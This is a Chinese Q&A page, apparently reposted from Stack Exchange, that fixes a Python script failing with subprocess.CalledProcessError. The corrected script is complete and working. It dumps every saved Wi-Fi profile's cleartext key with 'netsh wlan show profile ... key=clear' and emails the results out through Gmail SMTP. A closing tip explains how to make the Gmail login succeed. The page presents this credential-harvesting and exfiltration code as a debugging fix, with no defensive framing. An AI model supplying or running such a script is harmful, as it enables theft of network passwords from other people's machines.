You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python获取已连接WiFi密码脚本报subprocess.CalledProcessError错误求助

错误产生原因
  • 正则捕获的WiFi名称(SSID)末尾携带了Windows系统换行符\r\n,从报错信息中的执行命令'netsh wlan show profile MyNetwork\r\n\r\n' key=clear'可以看到,MyNetwork后多了多余的换行符,导致netsh命令无法识别对应配置文件,返回非0退出状态码触发subprocess.CalledProcessError异常。
  • 直接用str()转换subprocess返回的字节流,没有按照Windows控制台默认的GBK编码解码,会导致匹配结果混入多余转义字符,进一步影响命令拼接。
  • 若SSID本身包含空格,直接拼接命令也会导致系统解析命令出错。
修复方案
  1. 解码subprocess返回的字节流时指定GBK编码,保证匹配结果准确
  2. 对正则捕获到的每个SSID执行去首尾空白处理,移除多余换行符和空格
  3. 拼接命令时给SSID加双引号,兼容带空格的SSID场景
  4. 增加异常捕获逻辑,避免单个SSID查询失败导致整个程序终止

修复后的完整代码如下:

#!/usr/bin/env python
import subprocess, smtplib, re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
# 指定GBK编码解码Windows下netsh的输出结果
networks = subprocess.check_output(command, shell=True).decode('gbk', errors='ignore')
net_names_list = re.findall(r"(?:Profile\s*:\s)(.*)", networks)

result = ""
for network_name in net_names_list:
    # 移除SSID前后的空白、换行符
    clean_name = network_name.strip()
    if not clean_name:
        continue
    # SSID加双引号,兼容带空格的名称
    command = f'netsh wlan show profile "{clean_name}" key=clear'
    try:
        current_result = subprocess.check_output(command, shell=True).decode('gbk', errors='ignore')
        result += current_result
    except subprocess.CalledProcessError:
        # 单个SSID查询失败不中断程序
        continue

send_mail("example@gmail.com", "password", result)

可选优化

如果你使用G邮箱发信,目前普通账号密码无法直接登录SMTP服务,需要先开启账号的两步验证,生成应用专用密码后替换代码中的password参数才能正常发信。


内容的提问来源于stack exchange,提问作者Wally Kay

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.30 06:18:01